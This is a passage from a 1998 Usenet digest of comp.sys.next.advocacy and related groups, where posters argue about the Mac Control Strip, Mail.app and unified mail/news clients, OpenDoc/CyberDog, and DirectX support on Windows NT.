References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <slrn6kt2jt.5jg.sal@panix3.panix.com> <6im1h4$87v$1@news.digifix.com> <slrn6kt8jn.b98.sal@panix3.panix.com> <6imav3$bf3$1@news.digifix.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6imav3$bf3$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
: No.. Control Strip is an alternative method of accessing
:Control Panel functionality right?
A control panel is designed for modifying multiple options, whereas the
control strip is designed for making one change without any additional
user input. The things that I have in my control strip are a resolution
switcher, a color level switcher, a volume control, a CD control that
allows me to choose a specific track or pause the CD, and an utility for
switching from my Intranet settings to my ISP settings. These all require
choosing one option from the control strip. With the ability to easily add
and remove things to the strip as is supposed to happen in allegro, it
would be a nice place to put some of the Tickle or other Services that you
use all the time.
The only thing I would like to see added to the control strip is the
ability to have certain control strip items be application specific.
Currently I do this using the OneClick utility which supports control
strip modules and has global as well as application specific palettes with
a sophisticated scripting language and AppleScript/AppleEvents to boot. It
would be nice to have a simple interface to a specific pipe/service
without having to go into sub menus of the services/apple menu.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 05 May 1998 19:00:48 +0200
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <354F45C0.9A7@stud.uni-erlangen.de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de>
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Rolf Magnus wrote:
> That makes it even worse. That means that by now, Microsoft is forcing
> us to use win95 since directx 5 will not come out for NT4. Then, as
> win98 is out, we have to buy it also. And when then NT comes out with
> directx 6 we also have to buy it.
Hm...I'm not sure if I got you right...I for one do not feel like buying
Wimpdos98 or NT at all. Sure there's nothing wrong with your psyche? I
really would worry if I felt compelled to buy like rotten eggs or
something all the time. I always knew using M$oftware is bad for your
brains but I didn't know it could cause real obsessions. You should have
yourself debugged by a doctor who knows a computer from a Gates Crate
0:^>>>
> only be available for windows 00 (Big problem with y2k)?
^^^^^^^^^^
At least you've kept some humour :-) How d'ya think they'll call "00"?
Windoze-NeedsToilet?
ttyl!
Matthias
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 05 May 1998 12:38:11 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F4E83.824@CONVEX.COM>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <6im4k2$9vj$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> It's people like you that make me think about switching to an OS with a
> friendlier community of users. Nice, "ha ha, in your face, good to watch
> you suffer you NeXT `refugees'" attitude. I wonder which company it
> was that provided the OS solution that Apple couldn't produce on its own..
BSD...?
Anyway, I really don't think saying that Apple couldn't produce an OS on
its own is truthful. Not claiming to have special information, I just
think that Apple had a lot of options, many of which came from
technology within the company. Politics were a strong factor in the
acquisition of NeXT; it's not fair to say that NeXT is some kind of
knight in shining armor who saved the company.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 12:35:32 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6in12k$3of$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<354F2CD6.618E9CC8@nstar.net>
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Cc: mjpeck@nstar.net
In <354F2CD6.618E9CC8@nstar.net> "Michael J. Peck" claimed:
> And all of them are subjective reasons. Objectively, mailing lists and
> newsgroups serve precisely the same purpose, to which almost any
> end-user will attest: the dissemination of discussion via text messages
> over the Internet.
Differences are likely all historical. Usenet could easily be adapted to
do the same sorts of things with authentication being demanded by specific
groups based on a key of some sort that ends up back with the moderator.
Mail lists more specifically and commonly serve as "small scale Usenet
groups", as opposed to anything else.
> > majordomo list can have a directly associated group of logs and resources
> > that you can access via the list. Accessing logs and binary/source
archives
> > from a news group is generally a completely seperate activity from
posting
> > (unless you directly use deja news).
>
> Yes, a difference. A comparatively minor one, at that.
One that illustrates the _problem_ IMHO. I don't think anyone can come up
with a good reason why (aside from technical ones that is) that this is how
such lists are operated. The fact that they do by no means implies this is
correct, and a web based recall system is almost certainly a better solution
- one in fact that's starting to become the default.
Again this all seems to be a case of the cart before the horse - people
don't use mail lists because they had some unique ability to solve the
problem, they used them because they were available. Now years later it
seems people have entrenched these and have turned it around saying that this
is better.
> It's a mistake to assume that all unification efforts are "bloatware".
In fact it appears the term is more often applied to single purpose apps.
The most common example is MS apps like Word, which are simply bloated, and
not because of "multiple purposes" being built into it.
At the same time the best example I can think of of "small design" or
perhaps "dietware" is Claris Works, which is of course a multipurpose
application. I think CW proves that multifunction doesn't mean big.
Would an integrated messaging client be bigger than either product on it's
own? I doubt it. My _guess_ is that the majority of the code in question is
in the UI and logic for driving the UI and user interaction. The code needed
to drive a connection and store messages is likely on the order of 50k. In
other words it's almost CERTAINLY the case that a single combined client is
smaller than the same clients in different apps.
Maury
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 05 May 1998 12:44:45 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F500D.B32@CONVEX.COM>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net>
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Joe Ragosta wrote:
> Of course, it never occurred to you that Apple could avoid this problem by:
>
> 1. Offering multiple UIs (ever hear of "Themes"?).
"Themes" almost always mean changes to bitmapped graphics, not changes
in UI. Whether you're talking about Enlightenment themes, WinAmp
"skins", or Allegro Themes, it's all about look and feel, not
functionality.
Control Strip is outside the boundaries of anything affected by
"themes".
> 2. Choosing the best of each OS.
This is what we all hope for. Isn't Control Strip optional in MacOS? I
could be wrong.
> But thinking before posting might reduce the number of anti-Apple flames
> you throw around, so you'd never do that.
The obligatory heroic couplet. Err, something like that.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 05 May 1998 12:45:54 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F5052.8AC@CONVEX.COM>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net> <joe.ragosta-0505981127410001@wil134.dol.net>
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Joe Ragosta wrote:
> > I guess when you dig yourself a hole, you just make disparaging remarks
> > about your opponent.
>
> I wasn't involved in this discusssion,
Joe, in all fairness, this is the root of the problem.
MJP
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 13:47:55 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
In article <6imlnj$nkm$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6illkc$em7$2@cronkite.cygnus.com> John Rudd claimed:
> > First, I can't think of anything that supports your statements associating
> > email and news postings as a combined activity.
> Surely you jest. Every newsreader I've ever seen has the ability to send
> messages as mail or news or both.
Yeah, but that's _sending_ messages. Far fewer newsreaders support
_reading_ e-mail. And I'm not convinced that it's useful to unify the
"news" and "mail" paradigms.
> In this case in Radical the results of
> these commands vary widely - clicking the "reply" button brings a whole new
> app to the front and I can't see this message any more. Clicking the
> "Followup" button instead provides the window I see now. The contents of the
> window overlap on the order of 75% of the same items, and in terms of user
> interaction there is basicaly a single difference, the Groups field. Yet
> even with all this similarity the interfaces are completely different. This
> is a bad thing.
I'm perfectly comfortable with the idea of two separate apps to handle
mail and news, as long as they integrate well. What if there's a
separate mail app that does a _better_ job of mail than your unified
mail/newsreader? I'd rather use that, unified or not.
Where exactly do you want to draw the line of unification, anyway?
You're leaving out Web browsing. Maybe have a skeleton app that
basically does _nothing_ (except perhaps for management of local storage
of articles/messages/files), and then have mail/news/WWW/whatever bundles?
Might be nice, but I don't see anyone writing it, considering they'd
have to duplicate the effort of existing mail readers, newsreaders,
and web browsers..
From: "Nathan A. Hughes" <nhughes@sunflower.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 5 May 1998 12:45:52 -0500
Organization: Sunflower Cablevision's Datavision USENET Server
Message-ID: <6ini45$g4n$1@news.sunflower.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <tbrown-0505981018210001@mv081.axom.com>
Ted Brown wrote in message ...
>In article <6imcmk$oj1$3@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>I kept getting told that "Win 95 supports USB" by some Windows advocates,
>which is it? It'd be nice if knowing that a consumer had "Win 98"
Both of my copies of OSR2 have USB support on the CD label. I haven't tried
any USB stuff yet so I can't say for sure just how great that support is.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 13:41:39 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6inj0j$bit$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6ijusb$kos$2@ns3.vrx.net> <6iktl0$98e$1@crib.bevc.blacksburg.va.us> <6imkv7$nkm$1@ns3.vrx.net>
In article <6imkv7$nkm$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> The issue for me is when I quote text I do so in blocks. I pull in a small
> part of the message I'm replying to, reply to that, then pull in the next
> part.
If you want to just pull in one block, you can highlight it before you
reply to the message and EnhanceMail will quote it when you reply.
Unfortunately, you can't do disjoint text selection, so you can't use
that to pull in more than one block.
> In fact now that I think of it it would be nice if the app could be
> set to do quoting whenever you cut and paste (or drag) from another message,
> or perhaps just the one you're replying to.
That might be appropriate since pasting from a different message usually
means you want it quoted (though it sometimes doesn't), as long as you
can set the quoting behavior (since I like indenting). Maybe a
preference. It would require putting the text in a special format other
than plain text, though, so the mail app would know that it corresponds
to text from another message.
> It seems the standard on OS is the Unix one, quote the entire thing and let
> the user remove blocks as required. OK I suppose but I find that difficult
> to work on on a large message.
I find it a little awkward to do that with the mouse. In 'vi' I don't
have a problem. :) (I'd really like a 'vi' text editor I can use in
Mail.app..)
> > What's _your_ idea of a super-modern k00l mail interface?
> Well for one the folder navigation should be "natural", that is it should
> not appear as something "special" as it does now with Mailboxes. I think the
> user's invested enough time learning the navigation of the folder system
> already and adding a new one seems to have no benefit other than unread
> counting.
So what, you want an interface that looks like an Open panel or Finder
window?
Unread counting is an extremely valuable addition, by the way, if you
have your mail automatically sorted into subfolders by procmail and want
to know where it all went..
> Another difference I'd like is the ability to make any message, folder or
> mailbox (note the difference between the last two, the former holds mail, the
> later holds and retrieves mail) an URL that I can then place into OmniWeb's
> bookmarks holder. That way I can populate bookmark lists with everything
> related to a subject - mailboxes (if applicable), newsgroups and web pages.
That might be tricky, since a URL usually refers to a file and mail
messages are all stored in one big file. You'd either have to use some
sort of weird Mailbox#message syntax and either have OmniWeb understand
how to parse a message out of a mailbox from that, or have OmniWeb
connect to some sort of HTTP (or other protocol) server that will do the
parsing itself. Or you could use the MH mail format, where every
message is stored in a separate file.
> - side note: I would like to see Omni's booksmarks doc "opened" with a bundle
> that anyone can include in their own apps to display them. I'd also like to
> see a _really_ small app that wraps nnn bookmarks and does "new checking"
> driven by the bundle/app defined in the setup that can be placed into the
> dock.
That might be interesting. Maybe you could do it yourself if you linked
with their frameworks; I'm not sure how much is in the frameworks and
how much is in the app itself.
> Finally we need a natural way for messages to exist in more than one place
> and that this should be clear to the user. I don't think anyone's done this
> really well yet. For instance in many cases you have five sources of mail
> but want all the new mail to go to a single folder. In that case when you
> open the folder it should be clear that you're looking at a link (or an
> original in some cases) and the logic of what happens on a move/delete should
> also be obvious.
Yeah, that's needed if you're not keeping all your mail local.
> Finally I think any such product should be smart about how it was "brought
> to the front", such that when you click a mailto: on a web page you don't end
> up with the entire app coming forward (this drives my nuts in mail.app)
Indeed, that's something that many authors don't pay attention to.
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 05 May 1998 12:42:18 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F4F7A.515A@CONVEX.COM>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <6imb64$bj7$1@news.digifix.com>
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Scott Anguish wrote:
> There are literally MILLIONS of users out there that aren't
> Mac users that need to be drawn in.. And the old Mac UI isn't
> necessarily the way to do it.
Judging from most press reports in the past, the Mac UI was the *only*
reason it got any attention. Most impartial observers claimed that the
Mac UI was wonderful, and that the real deficiency was in the OS. Maybe
*you* don't like it, but an awful lot of people do.
> Control Strip is a horrible little UI tack-on... as is
> WindowShade, MenuClock, Tabbed Windows and other items that aren't
> cohesive parts of the User Experience..
I think precisely the same could be said, subjectively, about the Dock,
or even the Windows 95 tray. Calling it a "horrible little UI tack-on"
is strange, coming from a NeXTStep user. It seemed to me that NeXTStep
had a real menagerie of UI "tack-ons".
What's wrong with "tack-ons", anyway? Lots of people here recommended
Fiend, which isn't really a "cohesive part of the User Experience", but
they recommended it for its functionality. And I tend to agree, Fiend is
very nice. So I don't really get your point.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 12:57:39 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F5313.762E@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
[cut]
> Where exactly do you want to draw the line of unification, anyway?
> You're leaving out Web browsing. Maybe have a skeleton app that
> basically does _nothing_ (except perhaps for management of local storage
> of articles/messages/files), and then have mail/news/WWW/whatever bundles?
c-y-b-e-r-d-o-g
> Might be nice, but I don't see anyone writing it, considering they'd
> have to duplicate the effort of existing mail readers, newsreaders,
> and web browsers..
That's exactly the complaint I heard most against Cyberdog during its
early days. "Why is Apple trying to duplicate other peoples' efforts?"
The really interesting part is that just as Apple had gotten Netscape to
agree to provide Navigator as a CyberDog part, laying those objections
to rest...OpenDoc got the now-famous "bullet in its head".
MJP
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 14:21:00 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6inlac$bns$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354F5313.762E@CONVEX.COM>
In article <354F5313.762E@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Nathan Urban wrote:
> > Where exactly do you want to draw the line of unification, anyway?
> > You're leaving out Web browsing. Maybe have a skeleton app that
> > basically does _nothing_ (except perhaps for management of local storage
> > of articles/messages/files), and then have mail/news/WWW/whatever bundles?
> c-y-b-e-r-d-o-g
I haven't yet been convinced by anyone that OpenDoc/CyberDog was the
way that idea should be implemented, but nor do I have much experience
with CyberDog.
The other problem with having a bundle architecture is that I don't
think it's too useful unless _everyone_ is using it. Otherwise you don't
get real reuse and might as well just have a simple interapp communication
model with cooperating applications. And I think that the interfacing
and interoperability issues in an OpenDoc- or bundle-ish solution have
yet to be properly solved by anyone.
> The really interesting part is that just as Apple had gotten Netscape to
> agree to provide Navigator as a CyberDog part, laying those objections
> to rest...OpenDoc got the now-famous "bullet in its head".
I'd rather see OmniWeb anyway, and I bet Omni could do a better
infrastructure under OpenStep to boot.
From: <darknerd@shell4.ba.best.com>
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 5 May 1998 11:24:44 -0700
Message-ID: <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu>
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To: Dustin Douglas <ddouglas@comp.uark.edu>
In-Reply-To: <199805051707.MAA01735@comp.uark.edu>
> Well, I'd say the reason is that NT is *NOT* a home OS. NT is for businesses,
I see you have bought in to the Microsoft's propaganda and perhaps became
a Win-minion. It is YOUR opinion that WindozeNT is not a _home_ OS.
Micro$oft is brainwashing several people for this, so that they can get
more money.
The fact is Win95 is slower and unstable. WinNT is faster and stable.
If one can run an app in either, don't you think one would choose WinNT.
This simple logic should defy all propaganda or product stratification,
but it unfortunately doesn't.
> and how many businesses have reasons to run Diablo or Quake2? From what I
> understand win9x will eventually merge with winNT but that's years down the
> road.
This is more bull$hit from Micro$oft. It's remarketing of there product
because than can get more money. Plus, Diablo runs fine under WindowsNT,
but future games may have trouble supporting WinNT because they depend on
the anti-competitive DirectX libraries.
DirectX 5.x will *NOT* be supported in WinNT 4.0, but will be supported in
"vaporware" WinNT 5.0.
> Do what I do:
> Set up a dual boot system win95 for games and winNT for apps.
> not too hard...Use system commander, or NT will even do it on its own as long
> as it's the last OS installed.
Why should I have to purchase an inferior product to run products that
should work under WinNT?
Because this is why:
Long Version - Micro$oft wants to lock me into anti-competitive
propiertary technologies like ActiveX so that I'll be forced to use ONLY
their products and ONLY in a way they THINK I should use them.
Short Version - Micro$oft wants more *MONEY*!!!
_jm
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 13:30:13 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F5AB5.515@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354F5313.762E@CONVEX.COM> <6inlac$bns$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> The other problem with having a bundle architecture is that I don't
> think it's too useful unless _everyone_ is using it. Otherwise you don't
> get real reuse and might as well just have a simple interapp communication
> model with cooperating applications.
Well, Microsoft is doing it *now* with Internet Explorer. Not only can
an Internet application be built with small libraries and applets, any
application can make use of Internet services built into the OS.
Far more elegant would have been OpenDoc/CyberDog, but as a result of
insisting that "we haven't decided that's the right way", somebody else
went and did it the wrong way.
[deep breath]
Maybe you can understand what's so frustrating about recent Apple
management decisions when you consider that some people are watching the
fruits of the last five years getting pissed away.
> And I think that the interfacing
> and interoperability issues in an OpenDoc- or bundle-ish solution have
> yet to be properly solved by anyone.
Hm. They're going to be "solved", like it or not. If nobody has the
balls to actually ship a product, Microsoft will. And whine and gripe
all you like, nobody will have an excuse for creating that monster.
Every major member of the software industry will have been a complicit
ally of Microsoft in its goals. I wonder whether anyone else understands
that.
> > The really interesting part is that just as Apple had gotten Netscape to
> > agree to provide Navigator as a CyberDog part, laying those objections
> > to rest...OpenDoc got the now-famous "bullet in its head".
>
> I'd rather see OmniWeb anyway, and I bet Omni could do a better
> infrastructure under OpenStep to boot.
Oh, when will that be? Next year? The year after that? Sure, I can wait.
Can't we all? Everybody: let's just wait for Omni to ship the perfect
solution. Meanwhile, just hold your breath...
MJP
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 5 May 1998 18:22:45 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6kum7l.imb.jedi@dementia.mishnet>
References: <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <B1741506-62A7C3@141.214.128.36> <354F45F7.6D1F@stud.uni-erlangen.de>
On Tue, 05 May 1998 19:01:43 +0200, Matthias Bethke <Matthias.Bethke@stud.uni-e
rlangen.de> wrote:
>Robert A. Decker wrote:
>> Maybe you should think about investing your money in a Nintendo instead
>> of a computer...
>
>A Nintendo *and* a computer *instead* of a GC!
Wellyeah... a $150 console for games + a minimalist
app engine at ~$500 sorely trumps keeping up with
this years PC gaming specs.
You may not be on the edge but, you may find yourself
close enough to it when compared with what you didn't
have to spend.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 14:46:51 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6inmqr$bqn$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <354F5313.762E@CONVEX.COM> <6inlac$bns$1@crib.bevc.blacksburg.va.us> <354F5AB5.515@CONVEX.COM>
In article <354F5AB5.515@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Nathan Urban wrote:
> Far more elegant would have been OpenDoc/CyberDog, but as a result of
> insisting that "we haven't decided that's the right way", somebody else
> went and did it the wrong way.
Good, so there's another solution that I won't use. You're apparently
trying to make the point that a bad solution is better than no solution.
I personally think that a bad solution is _worse_ than no solution.
> Maybe you can understand what's so frustrating about recent Apple
> management decisions when you consider that some people are watching the
> fruits of the last five years getting pissed away.
You're also apparently trying to make the point that anything Apple
spends five years on must be worth continuing with.
> > And I think that the interfacing
> > and interoperability issues in an OpenDoc- or bundle-ish solution have
> > yet to be properly solved by anyone.
> Hm. They're going to be "solved", like it or not. If nobody has the
> balls to actually ship a product, Microsoft will.
So what? People will use any product Microsoft puts out, whether or not
it's any good. Are you saying that the existence of another solution
would have _prevented_ people from using Microsoft's "bundle" solution?
Ha.
> > > The really interesting part is that just as Apple had gotten Netscape to
> > > agree to provide Navigator as a CyberDog part, laying those objections
> > > to rest...OpenDoc got the now-famous "bullet in its head".
> > I'd rather see OmniWeb anyway, and I bet Omni could do a better
> > infrastructure under OpenStep to boot.
> Oh, when will that be? Next year? The year after that? Sure, I can wait.
> Can't we all? Everybody: let's just wait for Omni to ship the perfect
> solution. Meanwhile, just hold your breath...
Meanwhile, while you're holding your breath and whining, I will continue
to use separate apps for mail, news, and web browsing -- for while
it's a nice ideal to have a Grand Unified Application, practically
speaking it doesn't buy me much to have a combined mail/news/WWW reader.
The solutions I have meet all of my requirements. If someone eventually
comes out with a _good_ solution I may eventually use it, but it would
have to be much better to make it worth switching. I'm certainly not
going to switch to a bundle solution just for the sake of having a
bundle solution.
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 14:16:53 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354F65A5.42BB@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354F5313.762E@CONVEX.COM> <6inlac$bns$1@crib.bevc.blacksburg.va.us> <354F5AB5.515@CONVEX.COM> <6inmqr$bqn$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
>
> In article <354F5AB5.515@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
>
> > Nathan Urban wrote:
>
> > Far more elegant would have been OpenDoc/CyberDog, but as a result of
> > insisting that "we haven't decided that's the right way", somebody else
> > went and did it the wrong way.
>
> Good, so there's another solution that I won't use. You're apparently
> trying to make the point that a bad solution is better than no solution.
> I personally think that a bad solution is _worse_ than no solution.
No, you're misunderstanding me. For one, I'm not saying "bad solution",
I'm saying "good solution" when I refer to OpenDoc/CyberDog. I'm *not*
saying "perfect solution", either.
For another, my point is that a bad solution would be better than a
_worse_ solution. I'm trying to make it clear that "no solution" is not
going to happen; if someone doesn't provide "good solution" leadership,
Microsoft is going to provide "bad solution" precedent.
> > Maybe you can understand what's so frustrating about recent Apple
> > management decisions when you consider that some people are watching the
> > fruits of the last five years getting pissed away.
>
> You're also apparently trying to make the point that anything Apple
> spends five years on must be worth continuing with.
No, I'm not trying to make that point. If you want to be deliberately
obtuse to avoid the weight of my point, fine. I didn't make the point
for my health.
> > Hm. They're going to be "solved", like it or not. If nobody has the
> > balls to actually ship a product, Microsoft will.
>
> So what? People will use any product Microsoft puts out, whether or not
> it's any good.
That's where you're wrong. WordPerfect was the #1 bestselling word
processor at one point in recent memory. When it failed to ship a timely
upgrade, Word slipped into first.
It's called a *PRODUCT VACUUM*.
> Are you saying that the existence of another solution
> would have _prevented_ people from using Microsoft's "bundle" solution?
> Ha.
Thus, having argued away any semblance of responsibility for the
problem, we can safely turn to Janet Reno for the solution. Solved!
Forget it, I didn't want to make this political. I can see you're
convinced that there's nothing you or anyone else can do to bring good
products to market (except perhaps Omni, by strange dispensation), so
let's carry on as we were.
> > Oh, when will that be? Next year? The year after that? Sure, I can wait.
> > Can't we all? Everybody: let's just wait for Omni to ship the perfect
> > solution. Meanwhile, just hold your breath...
>
> Meanwhile, while you're holding your breath and whining, I will continue
> to use separate apps for mail, news, and web browsing -- for while
> it's a nice ideal to have a Grand Unified Application, practically
> speaking it doesn't buy me much to have a combined mail/news/WWW reader.
> The solutions I have meet all of my requirements. If someone eventually
> comes out with a _good_ solution I may eventually use it, but it would
> have to be much better to make it worth switching. I'm certainly not
> going to switch to a bundle solution just for the sake of having a
> bundle solution.
A lot of people would disagree, with a twist: they currently believe
that the bundle situation is *wrong*, and they want the government (or
somebody) to force everyone to use separate apps.
It wasn't *my* whining that got us here.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
